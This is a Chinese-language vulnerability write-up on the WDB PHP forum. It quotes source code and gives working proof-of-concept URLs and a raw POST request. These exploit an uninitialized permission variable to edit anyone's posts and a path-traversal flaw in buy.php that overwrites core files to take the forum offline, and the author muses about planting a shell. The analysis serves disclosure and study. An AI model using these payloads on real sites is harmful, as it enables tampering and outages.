水晶论坛(WDB)安全性分析作者:[I.T.S]Jambalaya
前言:生活真的很有意思,当你觉得一切顺利的让你满意的不能再满意的时候,那么你的不幸可能很快就会来了。而当你觉得你的生活中充斥的不幸,这些事情不断得使你感到痛苦甚至畏惧的时候,事态却突然转变,一切恢复到了以往的平静。当自己觉得一切异乎寻常的顺利或者经受着生活给我那"非常痛苦"的时候,我就会逼着自己去读一些代码,读代码的时候可以感受到平和,平和的思考问题,平和的处理事情。于是就有了这篇文章。
WEB应用程序的安全越来越受到大家的关注,随之而来的就是各种免费代码的漏洞的爆发。DVBBS的一阵风波过后,很多论坛开始选择PHP论坛,尤其是很多安全网站都开始变形成了PHP的,而PHP代码的编写者在编译器和MYSQL功能限制的保护下,很多得以蒙混过关。但是不安全就是不安全,也许在某个地方编译器和MYSQL可以作为"防弹衣"。但那并不是全部......
一、Wdbpost.php逻辑错误导致攻击者可以修改任意用户的的贴子
1、设计版本和平台
受影响版本:水晶论坛(WDB)的当前所有版本。
受影响操作系统:Windows,Freebsd,Linux(我只测试了这三种操作系统,有兴趣的朋友可以自行测试)
2、漏洞分析
由于wdbpost.php文件中存在变量未初始化,导致恶意攻击者绕过wdbpost.php的验证,任意修改编辑别人的贴子。我们来看一下相关的代码:
=======codz begin======
488 if ($action=="modify") {
......
//------Check if the user got the right to modify--------
499 if ($login_status==1 && ($author==$username || $username==$admin_name || ($login_status==1 && ($forum_admin && in_array($username,
450 $forum_admin))))) $check_user=1;
451
452 if ($check_user==0) { //check_user没有初始化!可以直接定义!
453 $status="您没有权利修改该贴,请您以合适的身份登录(文章原作者 或者 管理员)";
454 include("header.php");
455 navi_bar($navi_bar_des,$navi_bar_l2,"发生错误");
456 print_err();
457 include("footer.php");
458 exit;
459 }
=======codz ends=========
我们一句一句来读一下看看,当$action等于modify的时候,如果$login_status==1,$login_status这个变量是检查是否登陆,并且当发贴者($author)等于现在的$username或者username等于管理员的名字(admin_user),或者是斑竹($forum_admin && in_array($username,$forum_admin),如果满足这几个条件,那么设定$check_user这个变量等于1。而后的就轻松了,如果$check_user这个变量不等于1,那么就说明你没有编辑的权利。到了这里,我们顺着程序员的思路走了一遍,觉得没什么问题,一切都很正常,限定的也很严格,真的是这样么?
我们注意到,如果他所规定的条件全部满足的话,那么$check_user=1,后面则检查这个变量是不是为0。我们把这个文件从头看一遍,发现前面并没有定义$check_user这个变量的值,要是我们来设定的话,是不是就可以绕过他的层层检查了呢?
我们来试试看,直接提交http://127.0.0.1/myhome/wdb/wdbpost.php?action=modify&forumid=5&filename=f_366&article=0&check_user=1,我们注意到在这里我直接设定check_user=1,结果如图1,我们看到了修改的画面~~,一切都那么顺利,总觉得有点不对劲,修改提交一下看看[如图2],报错!我靠!刚才的欣喜一下子被冲淡了,再次拿起代码往下读:
=======codz begin=======
520 elseif($step==2) {
521 if (!$usericon) $usericon=$oldicon;
522 //----Check-------
523 $check=check_data();
524 if ($check) {
$timeedit=getfulldate($timestamp);
$articlecontent=$articlecontent."
[此贴被".$username."在".$timeedit."动过手脚]";
$articlecontent=str_replace(" "," ",$articlecontent);
$articlecontent=stripslashes($articlecontent); $articletitle=stripslashes($articletitle);
$articletitle=str_replace(",",",",$articletitle); $articletitle=safe_convert($articletitle);
......
=======codz ends========
我们注意到那个check_data()的函数看起来比较可疑,我们拿出来看看,这个函数在post_global.php文件中,翻出这个文件:
=======codz begin=======
350 function check_data($type="post") {
351 global
352 $articlecontent,$max_post_length,$articletitle,$status,$articledes,$selections,$title,
353 $by,$address,$downaddress,$file_size,$logourl;
354 $check=1;
355 if (strlen($articlecontent)>=$max_post_length) {$status="文章超过管理员指定的长度"; $check=0;}
356 if (empty($articletitle)) {$status="没有填写标题"; $check=0;}
357 elseif (strlen($articletitle)>=80) {$status="标题太长了"; $check=0;}
358 if (strlen($articledes)>=80) {$status="文章描述太长了"; $check=0;}
359 if ($type=="vote" && empty($selections)) {$status="不接受空选项"; $check=0;}
......
=======codz ends========
这个函数是检查文章的标题和内容是否为空,长度是否超过指定的长度。从这里看我们要直接提交修改的内容和题目,我们直接在URL中提交http://127.0.0.1/myhome/wdb/wdbpost.php?action=modify&forumid=5&filename=f_366&article=0&check_user=1&step=2&articletitle=hello,I am Jambalaya&articlecontent=I am from www.itaq.org
$articletitle是我们修改的文章标题,$articlecontent是我们修改的文章内容。提交后贴子标题就被改成了hello,I am Jambalaya.而内容则是I am from www.itaq.org[如图3]。一切OK了~~~~~:p
二、buy.php变量过滤不严导致DOS攻击
测试环境:windows2000+IIS5 (其他的没有测试,有兴趣的朋友可以自行测试一下)
这个文件的问题我一直不想写,到不是因为这个漏洞有多严重,而是我觉得这个文件应该可以向里面写入一个shell而并不仅仅是一个DOS,可是在N次的失败后,自己也迷失了,继续研究下去需要时间和精力,这正是我现在没有,于是写出来给大家看看,谁有解决的方法或者认为根本无法写入shell的理由,希望不吝赐教一下!
由于buy.php文件对变量没有严格过滤,导致可以向任何文件写入垃圾信息导致DOS攻击,严重者可以使整个论坛瘫痪!我们来看一下相关的代码:
=======codz begin=======
17 if (!file_exists("$id_unique/$buyer")||!file_exists("{$idpath}forum$forumid/$filename")||$buyer!=$username||
18 $buyer==$seller||$sellmoney>100||$sellmoney<0) {
19 msg_box('购买贴子','<br>状态:发生错误,不要黑我啊<br><ul><li><a href="javascript:history.go(-1)">返回前页
20 </a></li><br><li><a href="wdblogin.php">现在登录</li></ul>');exit;}
21 if (!file_exists("$id_unique/$seller")) {
22 msg_box('购买贴子','<br>状态:发生错误,出售贴子的人已经注销了~<br><ul><li><a 23 href="javascript:history.go(-1)">返回前页</a></li><br><li><a href="wdblogin.php">现在登录</li></ul>');
24 exit;}
25 $useri=get_user_info($buyer);
26 $userii=get_user_info($seller);
27 if($useri[23]<$sellmoney)
28 {
29 echo $useri[23];
30 echo $sellmoney;
31 msg_box('购买贴子','<br>状态:有没有搞错,你的哪来那么多钱???多灌点水吧,要不就去赌馆碰碰运气
32 ~<br><ul><li><a href="javascript:history.go(-1)">返回前页</a></li><br><li><a href="wdblogin.php">重新登录
32 </li></ul>');
33 exit;
34 }
35
36 $useri[23]=$useri[23]-$sellmoney;
37 $uu=implode('|',$useri);
38 writetofile("$id_unique/$buyer",$uu);
39
40 $userii[23]=$userii[23]+$sellmoney;
41 $uuu=implode('|',$userii);
42 writetofile("$id_unique/$seller",$uuu);
========codz ends========
代码有些长,别晕~~~很简单的~~~,老规矩,我们一句句的看一下,他首先检查购买者是否存在,然后检查你买的那个文件是不是也存在,然后检查买贴子的人名字是不是你现在使用的用户,再然后确定买贴子的人不能是卖贴子的人,并且出售的钱不能大于100,或者小于0。如果上面的一个条件不符合,则报错。这就是他的检查机制,说起来觉得很累,并且咋看起来似乎检查得很严,检查得的确很严,可惜没检查到位。(后面我们会讲道)
后面有一个函数来读取用户的信息get_user_info(),我们先来看一下这个函数的:
=======codz begin========
14 function get_user_info($user) {
15 global $id_unique;
15 if(!file_exists("$id_unique/$user")||$user=="."||$user==".."||$user=="") return 0;
16 $useri=explode("|",readfromfile("$id_unique/$user"));
17 return $useri;
18 }
========codz ends========
他检查了是否存在这个用户,然后要求用户不能是".",".."这些特殊字符,过滤这些就够了么?显然不够.好了,这些都明确了,我们构造我们的语句~~,如何构造呢,前面的代码对$seller这个值一点都没有做检查,我们就用从这里下手吧,设seller=../ads.php,因为是post提交的,所以先用NC抓个包看看,得到结果:
POST /myhome/wdb/buy.php HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, */*
Referer: http://127.0.0.1/myhome/wdb/wdbread.php?fo...1&filename=f_14
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: 127.0.0.1
Content-Length: 57
Connection: Keep-Alive
Cookie: lastvisit=978449234; wdbadminid=Jambalaya; wdbadminpwd=3028879ab8d5c87dc023049fa5bb5c1a; s=186a44d9c20358034ed9fdb7a038a60c
sellmoney=2&buyer=tombkeeper&seller=Jambalaya&forumid=1&filename=f_14
我用tombkeeker这个id来买帖子(tombkeeper不会找我要版权吧。。。),我们把seller的名字改一下,改成../ads.php,用NC提交,显示提交成功了。访问一下ads文件,已经访问不了了。现在也只是这一个文件不能访问而已,我们怎么能让整个论坛瘫痪呢?其实我们应该注意到,有几个重要文件是很多文件在代码开始的时候都要include的,如果include失败,那么文件也就不能解释执行了,是不是有点釜底抽薪的味道。大致看了一下,
datafile/superadmin.php
config.php
global.php
,这几个文件是经常在代码开始的时候被include的,好,让我们试试datafile/superadmin.php这个文件,同样把seller改称../datafile/superadmin.php,改了变量,用NC提交,返回的信息告诉我失败了。当时的感觉就像一盆冷水倾头而下,自己冷静了一下,弄了杯凉白开(我最喜欢喝的东西),两眼盯着屏幕开始发呆。当问题发生的时候,考虑问题的方法就显得特别重要,首先我假设是我代码没看仔细,于是翻过头来又看了一遍代码,似乎没有什么地方有问题。说明不是代码的问题。反复提交了N次后,在第N+1次的时候,发现问题了,我提交的../datafile/superadmin.php变成了../datafile/su,后面的东西都没有了,找到发生问题的地方了,轻轻的吐了口气,那么后面该怎么做呢?我注意到了NC得到的这行返回信息:Content-Length: 57,我觉得百分之八,九十应该是长度问题,试试看,把提交的长度57改成了70,再次提交!好了,成功了~~~
Ladys and gentlemans, We got it! :p (此处转自《萨达姆历险记》)
回头看看论坛,已经不能访问了~~~~这里只是举个例子,如果攻击者心狠手辣的话,写个程序往所有重要文件里写入垃圾数据并且将其写满也不是不可以的.
文章写到这里基本上就可以结束了,但是后面就是我测试失败的地方,其实我却觉得应该可以实现的,时间和精力都没有的时候,我还是写出来给大家讨论吧。如果大家仔细读一下代码就可以发现,其实$sellmoney这个变量也没有定义,并没有定义这个变量一定要是数值型,而对于PHP这种松散的语法类型来说,如果我提交的是字符串,则会自动转换成数值0,我们来从头看一下代码:他进行了几次比对,然后将其写入文件,如果我们将$sellmoney定义为php的语句是不是可以写入文件然后调用解释执行呢?后面的东西这里不去详述了,省得哪位小编哥哥说我有骗稿费的嫌疑
文章已经写完了,逻辑错误和思维定式是所有论坛都会存在的问题。不是没有漏洞,只是你没有看到而已。PHP编译器的确用了很多保护的方法,但是代码本身的不安全性就像一颗深埋的炸弹一样--总会暴露,那只不过是时间问题罢了。行文仓促,水平有限,如果文章有误,还望来www.itaq.org赐教。